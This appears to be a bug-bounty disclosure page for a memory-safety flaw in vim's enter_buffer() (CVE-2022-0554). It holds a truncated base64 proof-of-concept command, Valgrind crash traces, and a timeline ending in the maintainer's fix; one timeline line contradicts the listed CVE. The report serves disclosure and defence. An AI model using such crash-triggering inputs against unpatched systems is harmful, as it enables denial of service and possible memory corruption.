Use of Out-of-range Pointer Offset in vim/vim

0

Valid Reported on Feb 8th 2022

Description

Using out of range pointer offset occurs in enter_buffer().
commit : b247e0622ef16b7819f5dadefd3e3f0a803b4021
This case is created to correct the previous issue.

Proof of Concept

```
$ echo -ne "ZnUgUigpCnRhYjBsb3AKZTAKbGYKZW5kZgpjYWwgUigpCm5vcm0XFjAKY2FsIFJ

# Valgrind
$ ./vg-in-place -s ~/fuzzing/vim-valgrind/src/vim -u NONE -i NONE -n -X -Z
==577419== Memcheck, a memory error detector
==577419== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==577419== Using Valgrind-3.19.0.GIT and LibVEX; rerun with -h for copyrigh
==577419== Command: /home/alkyne/fuzzing/vim-valgrind/src/vim -u NONE -i NO
==577419==
==577419== Invalid read of size 4
==577419==    at 0x1495EC: enter_buffer (buffer.c:1798)
==577419==    by 0x149571: set_curbuf (buffer.c:1777)
==577419==    by 0x148EF0: do_buffer_ext (buffer.c:1551)
==577419==    by 0x148F84: do_buffer (buffer.c:1572)
==577419==    by 0x148FE2: do_bufdel (buffer.c:1606)
==577419==    by 0x1D0ED2: ex_bunload (ex_docmd.c:5338)
==577419==    by 0x1CAF06: do_one_cmd (ex_docmd.c:2567)
==577419==    by 0x1C80E9: do_cmdline (ex_docmd.c:993)
==577419==    by 0x2FA162: do_source (scriptfile.c:1512)
==577419==    by 0x2F955F: cmd_source (scriptfile.c:1098)
==577419==    by 0x2F95AF: ex_source (scriptfile.c:1124)
==577419==    by 0x1CAF06: do_one_cmd (ex_docmd.c:2567)
==577419==  Address 0x78 is not stack'd, malloc'd or (recently) free'd
```

```
==577419==
==577419==
==577419== Process terminating with default action of signal 11 (SIGSEGV):

==577419==    at 0x4A2455B: kill (syscall-template.S:78)
==577419==    by 0x292F52: may_core_dump (os_unix.c:3508)
==577419==    by 0x292F06: mch_exit (os_unix.c:3474)
==577419==    by 0x410FB4: getout (main.c:1719)
==577419==    by 0x2560C2: preserve_exit (misc1.c:2194)
==577419==    by 0x2914BA: deathtrap (os_unix.c:1154)
==577419==    by 0x4A2420F: ??? (in /usr/lib/x86_64-linux-gnu/libc-2.31.so)
==577419==    by 0x1495EB: enter_buffer (buffer.c:1798)
==577419==    by 0x149571: set_curbuf (buffer.c:1777)
==577419==    by 0x148EF0: do_buffer_ext (buffer.c:1551)
==577419==    by 0x148F84: do_buffer (buffer.c:1572)
==577419==    by 0x148FE2: do_bufdel (buffer.c:1606)
==577419==
==577419== HEAP SUMMARY:
==577419==     in use at exit: 77,391 bytes in 477 blocks
==577419==   total heap usage: 1,627 allocs, 1,150 frees, 352,751 bytes all
==577419==
==577419== LEAK SUMMARY:
==577419==    definitely lost: 0 bytes in 0 blocks
==577419==    indirectly lost: 0 bytes in 0 blocks
==577419==      possibly lost: 0 bytes in 0 blocks
==577419==    still reachable: 77,391 bytes in 477 blocks
==577419==         suppressed: 0 bytes in 0 blocks
==577419== Rerun with --leak-check=full to see details of leaked memory
==577419==
==577419== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
==577419==
==577419== 1 errors in context 1 of 1:
==577419== Invalid read of size 4
==577419==    at 0x1495EC: enter_buffer (buffer.c:1798)
==577419==    by 0x149571: set_curbuf (buffer.c:1777)
==577419==    by 0x148EF0: do_buffer_ext (buffer.c:1551)
==577419==    by 0x148F84: do_buffer (buffer.c:1572)
==577419==    by 0x148FE2: do_bufdel (buffer.c:1606)
==577419==    by 0x1D0ED2: ex_bunload (ex_docmd.c:5338)
==577419==    by 0x1CAF06: do_one_cmd (ex_docmd.c:2567)
==577419==    by 0x1C80E9: do_cmdline (ex_docmd.c:993)
```

```
==577419==    by 0x2FA162: do_source (scriptfile.c:1512)
==577419==    by 0x2F955F: cmd_source (scriptfile.c:1098)
==577419==    by 0x2F95AF: ex_source (scriptfile.c:1124)

==577419==    by 0x1CAF06: do_one_cmd (ex_docmd.c:2567)
==577419==  Address 0x78 is not stack'd, malloc'd or (recently) free'd
==577419==
==577419== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault
```

CVE
CVE-2022-0554
(Published)

Vulnerability Type
CWE-823: Use of Out-of-range Pointer Offset

Severity
High (8.4)

Visibility
Public

Status
Fixed

Found by

alkyne Choi
@alkyne
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 965 times.

Chat with us

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 10 months ago

Bram Moolenaar validated this vulnerability 10 months ago

alkyne Choi has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar marked this as fixed in **8.2** with commit **e3537a** 10 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Bram Moolenaar 10 months ago Maintainer

Fixed with patch 8.2.4327, using the minimized poc to add a test.

Sign in to join this conversation